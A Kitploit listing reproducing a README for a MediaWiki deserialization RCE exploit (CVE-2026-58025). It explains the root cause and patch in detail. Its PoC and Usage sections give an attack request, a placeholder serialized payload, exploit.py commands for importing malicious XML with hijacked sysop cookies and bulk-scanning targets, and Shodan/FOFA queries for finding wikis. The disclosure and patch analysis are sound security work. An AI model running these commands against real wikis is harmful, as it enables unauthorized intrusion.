Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-58025 — CVE-2026-58025 — MediaWiki Deserialization RCE via Log Entry Import. LogEntryBase::extractParams() unserialize() user-controlled log_params. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-58025
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubshinthink/cve-2026-58025

CVE-2026-58025

CVE-2026-58025 — MediaWiki Deserialization RCE via Log Entry Import. LogEntryBase::extractParams() unserialize() user-controlled log_params. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0

View Repository
41461 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-58025 — MediaWiki PHP Deserialization RCE via Log Entry Import

WikiImporter → LogEntryBase::extractParams() → unserialize() user-controlled log_params → RCE


Overview

CVE-2026-58025 is a critical (CVSS 9.8) deserialization of untrusted data vulnerability in MediaWiki (Wikimedia Foundation). The LogEntryBase::extractParams() method called unserialize() on user-controlled log entry parameters without restricting which PHP classes could be instantiated. An attacker with the or right (default: group) could craft a malicious XML import file containing serialized PHP objects in fields, triggering arbitrary object instantiation and potential remote code execution via gadget chains.

importupload
import
sysop
<params>

Affected Versions

Version BranchVulnerablePatched
1.43.x< 1.43.91.43.9
1.44.x< 1.44.61.44.6
1.45.x< 1.45.41.45.4
1.46.x< 1.46.01.46.0

Requirements: The import or importupload right (default: sysop group). The attacker must be able to upload or import an XML file to MediaWiki's Special:Import.


Vulnerability Mechanism

Root Cause

LogEntryBase::extractParams() in includes/Logging/LogEntryBase.php called unserialize() directly on the log_params blob without any class restriction:

root@kitploit:~
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← user-controlled, no allowed_classes restriction
}

This method is called from multiple locations:

FileLineContext
includes/Logging/DatabaseLogEntry.php187getParameters() — reading log entries from DB
includes/RecentChanges/RecentChange.php781parseParams() — parsing recent changes
includes/Import/WikiRevision.php638importLogItem() — importing log entries from XML
maintenance/purgeChangedFiles.php182Maintenance script log parsing
tests/phpunit/maintenance/DumpAsserter.php541Test helper

Attack Vector

The primary attack vector is XML import via Special:Import:

  1. Attacker (with import/importupload right) crafts a malicious MediaWiki XML export file
  2. The XML contains a <logitem> element with a <params> field containing a PHP serialized payload
  3. WikiImporter::processLogItem() → WikiRevision::importLogItem() stores the log entry
  4. When the log entry is later read (via DatabaseLogEntry::getParameters(), RecentChange::parseParams(), or log display), LogEntryBase::extractParams() calls unserialize() on the attacker-controlled blob
  5. If a suitable gadget chain exists (via installed extensions/vendor libraries), this leads to RCE

Attack Flow

root@kitploit:~
POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data

Serialized Payload Format

The <params> field in the XML import accepts standard PHP serialized strings. A safe (benign) entry:

root@kitploit:~
a:1:{s:3:"foo";s:3:"bar";}

A malicious entry containing a serialized object:

root@kitploit:~
a:1:{s:3:"foo";O:8:"stdClass":0:{}}

When unserialize() is called without allowed_classes restriction, the object is fully instantiated. With an available gadget chain (e.g., from Composer-installed libraries), this becomes RCE.


The Fix

Commit: 60f154d4618063ac4d5832285fc246b8fcd7c72c Author: Bartosz Dziewoński Date: 2026-06-29

The fix implements multiple layers of defense:

1. Restricted unserialize() with allowed_classes

root@kitploit:~
// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

2. New containsUnsafeParams() check

Detects __PHP_Incomplete_Class instances (objects that were blocked by allowed_classes):

root@kitploit:~
public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

3. Import gate — WikiImporter::processLogItem()

New logentryimport permission check (not granted to anyone by default):

root@kitploit:~
private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

4. WikiRevision::importLogItem() — unsafe params rejection

root@kitploit:~
if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

5. UnsafeLogFormatter — safe display of existing malicious entries

New UnsafeLogFormatter class replaces the normal formatter for entries containing blocked objects, displaying a placeholder message instead of attempting to format the dangerous data.

6. Related fix: CVE-2026-58037

The same research (T422244) also identified that LogFormatter's raw parameter type allowed raw HTML output from user-controlled log params. This was fixed in a companion commit by changing Message::rawParam() to Message::plaintextParam().


PoC

The included exploit.py generates a malicious MediaWiki XML import file containing serialized PHP objects in log entry parameters. It can also fingerprint MediaWiki instances and attempt the import via the API.

root@kitploit:~
# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests

Usage

root@kitploit:~
# Generate malicious XML import file
python exploit.py --generate --output payload.xml

# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check

# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# Bulk check
python exploit.py -f targets.txt --check -o results.txt

FOFA / Shodan

root@kitploit:~
FOFA:   body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"

References

  • NVD CVE-2026-58025
  • Phabricator T422244
  • Fix Commit (1.43 branch) — SECURITY: Safely unserialize log entry parameters
  • Related fix: CVE-2026-58037 — LogFormatter: 'raw' parameter format is no longer raw HTML
  • MediaWiki 1.43.9 Release Notes
  • OSV CVE-2026-58025
  • CWE-502: Deserialization of Untrusted Data
  • CWE-94: Improper Control of Generation of Code

Disclaimer

This exploit is provided for educational and authorized security research only. Do not use against systems without explicit permission from the owner.

Download Tool